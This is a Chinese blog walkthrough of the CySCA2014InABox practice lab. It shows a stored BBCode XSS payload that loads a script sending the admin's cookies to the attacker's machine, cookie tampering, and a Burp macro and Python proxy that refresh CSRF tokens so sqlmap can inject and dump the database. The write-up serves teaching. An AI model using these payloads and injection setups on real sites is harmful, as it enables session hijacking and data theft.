XSS窃取Cookie+绕过CSRF令牌进行SQL注入:CySCA2014InABox靶机测试

Posted 网络安全技术杂记

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS窃取Cookie+绕过CSRF令牌进行SQL注入:CySCA2014InABox靶机测试相关的知识,希望对你有一定的参考价值。

一、靶机环境搭建

2、在KALI中使用NMAP对靶机进行全端口扫描,得到较多开放的端口信息,除此之外还有9个未识别的服务。

22/tcp    open  ssh         OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)

80/tcp    open  http        Apache httpd 2.2.22 ((Ubuntu))

1337/tcp  open  waste?

3422/tcp  open  icecream    icecreamd

5050/tcp  open  mmcc?

7788/tcp  open  unknown

7821/tcp  open  printer     Panasonic mfpscdl.exe service

9090/tcp  open  zeus-admin?

9876/tcp  open  sd?

9999/tcp  open  abyss?

12345/tcp open  netbus?

12433/tcp open  nagios-nsca Nagios NSCA

16831/tcp open  unknown

20000/tcp open  dnp?

20001/tcp open  microsan?

21320/tcp open  unknown

22523/tcp open  unknown

9 services unrecognized despite returning data

3、访问http://192.168.10.5,点击CHALLENGES便可开始分专项进行渗透测试了。
XSS窃取Cookie+绕过CSRF令牌进行SQL注入:CySCA2014InABox靶机测试(1)

二、Web Application Pentest模块(5题、各1个FLAG)

根据页面显示点击http://192.168.10.5/index.php进入靶机WEB题测试环境。涉及的知识点有:XSS盗取COOKIE、利用Burpsuite宏功能+SQLMAP绕过CRSF令牌进行注入等。

按F12(我用的是CHROME浏览器),依次点击“Application--Cookies”, 可以看到cookies中vip项的值为0。
XSS窃取Cookie+绕过CSRF令牌进行SQL注入:CySCA2014InABox靶机测试(1)

试着将vip项的值修改为1,然后刷新页面,可见“Blog”链接不再是灰色。点击“Blog”,弹出第一个FLAG:VIP Flag: ComplexKillingInverse411。
XSS窃取Cookie+绕过CSRF令牌进行SQL注入:CySCA2014InABox靶机测试(1)

(二)第2题提示为“Gain access to the Blog as a registered user to reveal the hidden flag”,作为注册用户进入BLOG并获取FLAG。点击Blog后发现三篇博文,分别由Kevin、Sycamore二人上传;博文后面有 评论提交输入框(无需注册即可提交);此外还有两个API参考文档。

知识点:在用CHROME浏览器进行xss测试时要先关闭xss过滤器,推荐做法是:右击“新建”--“快捷方式”,点击浏览找到本机上 安装的chrome.exe,在双引号后面空一格 然后加上参数--args -–disable-xss-auditor,然后单击下一步,修改快捷方式 的名称为“Chrome-XSSenable”,即可一劳永逸地在桌面建立一个可以进行XSS测试的CHROME浏览器快捷方式了。当 然也可以直接在桌面原有CHROME快捷方式后面添加上这个参数。
XSS窃取Cookie+绕过CSRF令牌进行SQL注入:CySCA2014InABox靶机测试(1)

在评论框测试XSS,发现普通的XSS代码被直接当成文本显示在网页上,针对这种不对评论内容进行审计即发布的网站(还有 那些允许用户在提交评论之前进行预览的网站),通常可以测试BBCode类XSS(参考https://jeffchannell.com/Other/bbcode-xss-howto.html)。

本例中,利用XSS盗取管理员COOKIE的步骤如下:

1、在攻击机KALI(IP:192.168.10.3)上创建一个JS脚本helpme.js,内容为:

var image = document.createElement('img'); image.src = "http://192.168.10.3/" + document.cookie; document.body.appendChild(image);

2、在KALI上开启临时WEB服务:python -m SimpleHTTPServer 80,访问http://192.168.10.3/helpme.js测试是否能从远程正常获取该脚本。

3、构造如下代码,通过评论框进行提交,等待管理员点击。

[<script src=http://192.168.10.3/helpme.js></script>](test)

4、稍等片刻,KALI上便收到来自靶机管理员Sycamore的“礼物”(COOKIE不停地发过来,选最新的一个利用即可)。
XSS窃取Cookie+绕过CSRF令牌进行SQL注入:CySCA2014InABox靶机测试(1)

5、按F12(我用的是CHROME浏览器),依次点击“Application--Cookies”, 将cookies中PHPSESSID项的值为KALI上获取到的值,然后刷新页面,即可得到本题FLAG:User Flag: OrganicShantyAbsent505。
XSS窃取Cookie+绕过CSRF令牌进行SQL注入:CySCA2014InABox靶机测试(1)

(三)第3题提示为“Retrieve the hidden flag from the database”,从数据库中获取FLAG。查看管理员“Sycamore ”网页可以看到在每条评论后面多出一个回收站按钮,查看源代码发现存在deletecomment(),变量有两个:comment_id、csrf,它通过jQuery发送请求到deletecomment.php,用以删除用户评论。这个“comment_id”存在明显的SQL注入漏洞,不过难点在于, 它的这种anti-CSRF保护需要绕过,这种时候的注入方法如下:
XSS窃取Cookie+绕过CSRF令牌进行SQL注入:CySCA2014InABox靶机测试(1)
XSS窃取Cookie+绕过CSRF令牌进行SQL注入:CySCA2014InABox靶机测试(1)

注:这一题必须紧接着第(二)题;靶机采用了CSRF令牌技术防止CSRF入侵,每一次Response信息中包含一个一次性有效的CSRF令 牌,这个令牌是下一次request请求必须要用的,而且有效期15-30秒左右。

知识点:一些像CSRF、tokens或者简单的的反自动化技术(如在一个表单中包含一个隐藏值、在一个输入表单中有一个隐藏的GUID token)就能够阻止sqlmap等自动化工具正确的工作,Burp Suite中的Macros是一个绕过这些方法去进行自动化测试的优秀功能。Burp Suite中的macro是在Burp中代理的请求之前被发送到服务器端的一系列请求,一旦macro请求被执行,最后一个macro响应中的一系列 参数能够被接下来的请求所携带,这就叫做macro。Macro可以用来执行复杂的操作,比如登陆到一个应用然后取出cookies。burpsuite 自带的cookie jar 可以处理变化的cookie。
XSS窃取Cookie+绕过CSRF令牌进行SQL注入:CySCA2014InABox靶机测试(1)

1、设置代理,利用burpsuite抓包,点击任意一条评论后的删除按钮。burpsuite会 抓取到POST数据包,在comment_id变量的值后面添加一个单引号,在Response窗口 可以看到报错,证明SQL注入漏洞的确存在。注意这里的“csrf”参数,就是服务器每次会验证的数值。
XSS窃取Cookie+绕过CSRF令牌进行SQL注入:CySCA2014InABox靶机测试(1)

2、在单引号后面继续添加 order by 3;--欲判断字段个数,但不成功,因为CSRF令牌错误。下面第3-6步为配置burpsuite以绕过csrf防护的详细步骤。
XSS窃取Cookie+绕过CSRF令牌进行SQL注入:CySCA2014InABox靶机测试(1)

3、在burpsuite中依次点击Project options -> Sessions -> Macros ->Add,弹出两个窗口:Macro Recorder(记录器)、Macro Editor(编辑器)(注:Macro记录器是记录发送哪些HTTP请求,Macro编辑器是编辑一些参数,比如具体截取响应报文中的哪一个参数等)。 首先操作Macro记录器,点击选择我们要发送的HTTP请求,再点击右下角的OK按钮即可;然后操作Macro Editor(编辑器),点击 ‘configure item’,在代码中找到window.csrf,选中后面的CSRF令牌(上面会自动填上字符串起始位置字符),再将参数名称写上csrf,单击OK。
XSS窃取Cookie+绕过CSRF令牌进行SQL注入:CySCA2014InABox靶机测试(1)
XSS窃取Cookie+绕过CSRF令牌进行SQL注入:CySCA2014InABox靶机测试(1)

4、依次点击Project Options -> Sessions -> Session Handling Rules ->ADD,添加一个会话处理规则(session handling rule)使macro在需要的时候执行。当对话框弹出时点击在“Rule Actions”下面的add按钮,在下拉菜单中选择“Run a Macro”,再选中之前创建的自己的macro(CSRF request)。点击OK。
XSS窃取Cookie+绕过CSRF令牌进行SQL注入:CySCA2014InABox靶机测试(1)

5、点击Session Handling Rule Editor中的“Scope”标签,在这里我们将要定义受规则影响的请求的范围。在“Tools Scope”中代理并没有被默认选中(如果没有设置好这会影响到每一个经过Burp的请求)。为了在sqlmap中使用这个规则,我们 需要使这个规则在代理中启用。为了限制使用范围我们使用“Use suite scope”选项将其设置为只在测试站点使用。最后,我们限 制“Parameter Scope”只影响包含csrf参数的请求,这是我们唯一要修改的。最后点击OK关闭对话框。
XSS窃取Cookie+绕过CSRF令牌进行SQL注入:CySCA2014InABox靶机测试(1)

6、在burpsuite中依次点击Target,先点击Sitemap,选中http://192.168.10.5所在的行,右键然后选择“Copy URL”。然后切换到Scope,先勾选“Use advanced scope control”  然后点击“Paste URL”,将靶机的IP和端口以正则表达式 形式添加进去,然后删除File字段中的内容(一定要删除,不然注入不会成功)。至此,burpsuite就配置好了,现在当sqlmap 的请求经过Burp代理时,Burp就会先发送一个请求到服务器然后用从中 得到的csrf参数替换sqlmap的post请求中的参数值。
XSS窃取Cookie+绕过CSRF令牌进行SQL注入:CySCA2014InABox靶机测试(1)
XSS窃取Cookie+绕过CSRF令牌进行SQL注入:CySCA2014InABox靶机测试(1)

注:以上burpsuite宏的这些设置,也可以利用这个PYTHON脚本实现:

from libmproxy import controller, proxy, flow

import sys

import requests

import json

 

class StickyMaster(controller.Master):

    def __init__(self, server):

        controller.Master.__init__(self, server)

        self.current_csrf = None

        self.cookie = "vip=1; PHPSESSID=67qetlbmnode8qh27qur6bg1n0;"

 

        r = requests.get("http://192.168.10.5/blog.php?view=2",

                headers={"Cookie": self.cookie})

 

        if "window.csrf = '" in r.content:

            start = r.content.find("window.csrf = '") + 15

            end = start + 20

            self.current_csrf = r.content[start:end].split("'", 1)[0]

            print "First csrf value =", self.current_csrf

        else:

            print "Can't get first csrf value :'("

            sys.exit()

 

    def run(self):

        try:

            return controller.Master.run(self)

        except KeyboardInterrupt:

            self.shutdown()

 

    def handle_request(self, msg):

        if msg.method == "POST":

            msg.headers["cookie"] = [self.cookie]

            params = msg.get_form_urlencoded()

            params['csrf'] = [self.current_csrf]

            msg.set_form_urlencoded(params)

        msg.reply()

 

    def handle_response(self, msg):

        if '"csrf"' in msg.content:

            d = json.loads(msg.content)

            self.current_csrf = d["csrf"]

            print "Changing csrf value for", self.current_csrf

        msg.reply()

 

config = proxy.ProxyConfig()

server = proxy.ProxyServer(config, 3128)

m = StickyMaster(server)

m.run()

然后执行如下注入命令:sqlmap.py -u http://192.168.10.5/deletecomment.php  --data="comment_id=*&csrf=plop" --proxy=http://127.0.0.1:3128/

7、点击任意一条评论后面的删除按钮,同时利用burpsuite抓包,保存为文本文件test.txt,然后执行sqlmap:sqlmap -r /root/test.txt -p comment_id --proxy="http://127.0.0.1:8080" --delay 1(--proxy表示使用burpsuite的代理)。

技巧:依次单击Project options -> Session -> Session Handling Rules然后点击‘open sessions tracer’,如果有数据包在刷新,代表一切正常,不然有可能是burpsuite配置出错。在对comment_id参数执行SQL注入时仍然遇到问题,请尝试在请求上延迟运行sqlmap (--delay=1,延迟1秒)

8、获取数据库名称:sqlmap -r /root/test.txt -p comment_id --proxy="http://127.0.0.1:8080" --delay 1 --dbs --dbms mysql,得到数据库名cysca、information_schema。

9、获取表名和内容:sqlmap -r /root/test.txt -p comment_id --proxy="http://127.0.0.1:8080" --delay 1 -D cysca --tables --dump --dbms mysql,其中便有本题的FLAG。

知识点:Brupsuite的宏(Macros),是一个预先定义好的HTTP请求序列,这个序列中可以包含一个或多个HTTP请求。在Burpsuite的会话管理规则(Session Handling Rules)中使用宏,可以完成多种任务。详情参见《Burpsuite中宏的使用》(https://www.freebuf.com/articles/web/156735.html)。

(未完待续)


以上是关于XSS窃取Cookie+绕过CSRF令牌进行SQL注入:CySCA2014InABox靶机测试的主要内容,如果未能解决你的问题,请参考以下文章

利用XSS绕过CSRF令牌保护

网站安全与攻击

挖洞经验 | 利用XSS和CSRF漏洞远程实现PayPal合作方网站未授权账户访问

02-xss固定会话攻击

JWT + cookie + HTTPS + CSRF

web攻击几种方法